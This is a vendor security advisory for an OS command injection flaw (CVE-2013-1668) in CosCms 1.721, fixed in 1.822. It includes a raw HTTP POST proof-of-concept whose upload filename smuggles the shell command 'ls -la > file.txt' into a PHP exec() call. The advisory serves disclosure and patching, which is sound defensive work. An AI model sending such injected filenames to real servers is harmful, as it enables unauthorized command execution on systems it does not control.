High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 87%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

OS Command Injection in CosCms

Advisory ID:HTB23145
Product:CosCms
Vendor: CosCMS
Vulnerable Versions:1.721 and probably prior
Tested Version:1.721
Advisory Publication:February 13, 2013 [without technical details]
Vendor Notification:February 13, 2013
Vendor Fix:February 13, 2013
Public Disclosure:March 6, 2013
Latest Update:February 19, 2013
Vulnerability Type:OS Command Injection [CWE-78]
CVE Reference:CVE-2013-1668
Risk Level:High
CVSSv2 Base Score:8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in CosCms, which can be exploited to execute arbitrary OS commands on web server where the vulnerable application is hosted.


1) OS Command Injection in CosCms: CVE-2013-1668

Vulnerability exists due to insufficient validation of user-supplied input in "$_FILES['file']['name']" variable passed to "/gallery/upload/index" URL before using it in PHP "exec()" function. A remote attacker can send a specially crafted HTTP POST request containing a malicious filename, and execute arbitrary commands on the target system with privileges of the web server.

The following PoC (Proof of Concept) code will write output of "ls -la" command into "/gallery/upload/file.txt" file. You can use any tool to send raw HTTP requests, e.g. telnet:


POST /gallery/upload/index HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------21456260222104
Content-Length: 970

-----------------------------21456260222104
Content-Disposition: form-data; name="title"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="image_add"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="description"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="tags"


-----------------------------21456260222104
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000000
-----------------------------21456260222104
Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS"

511ad0922b50f
-----------------------------21456260222104
Content-Di sposition: form-data; name="file"; filename="1 & ls -la > file.txt"
Content-Type: application/octet-stream

1

-----------------------------21456260222104
Content-Disposition: form-data; name="submit"

Update
-----------------------------21456260222104--


Successful exploitation of this vulnerability requires an attacker to be logged-in and have privileges to upload files. User registration is disabled by default.


Solution:
Upgrade to CosCms 1.822

More Information:
http://www.coscms.org/blog/view/4/Version-1.822
https://github.com/diversen/gallery/blob/master/upload/index.php
https://github.com/diversen/gallery/commit/7d58f870e8edc6597485dd1b80ea9fb78580190c


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB23145 - https://www.htbridge.com/advisory/HTB23145 - OS Command Injection in CosCms.
[2] CosCms - http://www.coscms.org/ - CosCMS is a simple framework for building web application. It is intended for users, who wants some common modules, and a platform with a small code base which is easy to extend.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.